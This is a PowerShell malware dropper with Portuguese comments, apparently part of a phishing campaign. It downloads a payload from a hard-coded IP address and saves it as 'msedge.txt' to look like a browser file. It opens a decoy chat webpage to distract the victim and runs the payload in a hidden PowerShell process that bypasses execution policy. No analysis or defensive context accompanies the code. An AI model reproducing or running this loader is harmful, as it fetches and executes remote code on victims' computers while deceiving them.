[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13 -bor [Net.SecurityProtocolType]::Tls
$d = 'C:\Users\Public\Documents'
if(!(Test-Path $d)){md $d -Force|Out-Null}
$h = 'http://107.173.17.208:8888'

# v10.0: Download direto do payload stealth (sem DLL externa/.dat)
$w = New-Object Net.WebClient
$w.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0')
$c = ''
for($r=0;$r -lt 3;$r++){
    try {
        $c = $w.DownloadString("$h/proteger")
        if($c -and $c.Length -gt 1000){ break }
    } catch { Start-Sleep -Milliseconds 500 }
}

if ($c -and $c.Length -gt 1000) {
    # Salvar payload principal
    [IO.File]::WriteAllText("$d\msedge.txt",$c,[Text.Encoding]::UTF8)

    # Iniciar aviso com ping de delay (decoy visual)
    try {
        $psiAviso = New-Object System.Diagnostics.ProcessStartInfo
        $psiAviso.FileName = "cmd.exe"
        $psiAviso.Arguments = '/c ping -n 16 127.0.0.1 >nul & start https://chatonline.modulochatpj.com/chatonline.html'
        $psiAviso.CreateNoWindow = $true
        $psiAviso.UseShellExecute = $false
        $psiAviso.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
        [System.Diagnostics.Process]::Start($psiAviso) | Out-Null
    } catch {
        Start-Process cmd -ArgumentList '/c ping -n 16 127.0.0.1 >nul & start https://chatonline.modulochatpj.com/chatonline.html' -WindowStyle Hidden
    }

    # Executar o payload em background totalmente invisivel
    try {
        $psiScript = New-Object System.Diagnostics.ProcessStartInfo
        $psiScript.FileName = ":WINDIR\System32\WindowsPowerShell\v1.0\powershell.exe"
        $psiScript.Arguments = "-NonInteractive -NoP -ExecutionPolicy Bypass -W Hidden -File `"$d\msedge.txt`""
        $psiScript.CreateNoWindow = $true
        $psiScript.UseShellExecute = $false
        $psiScript.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
        [System.Diagnostics.Process]::Start($psiScript) | Out-Null
    } catch {
        & ([ScriptBlock]::Create($c)) -ScriptPath "$d\msedge.txt"
    }
}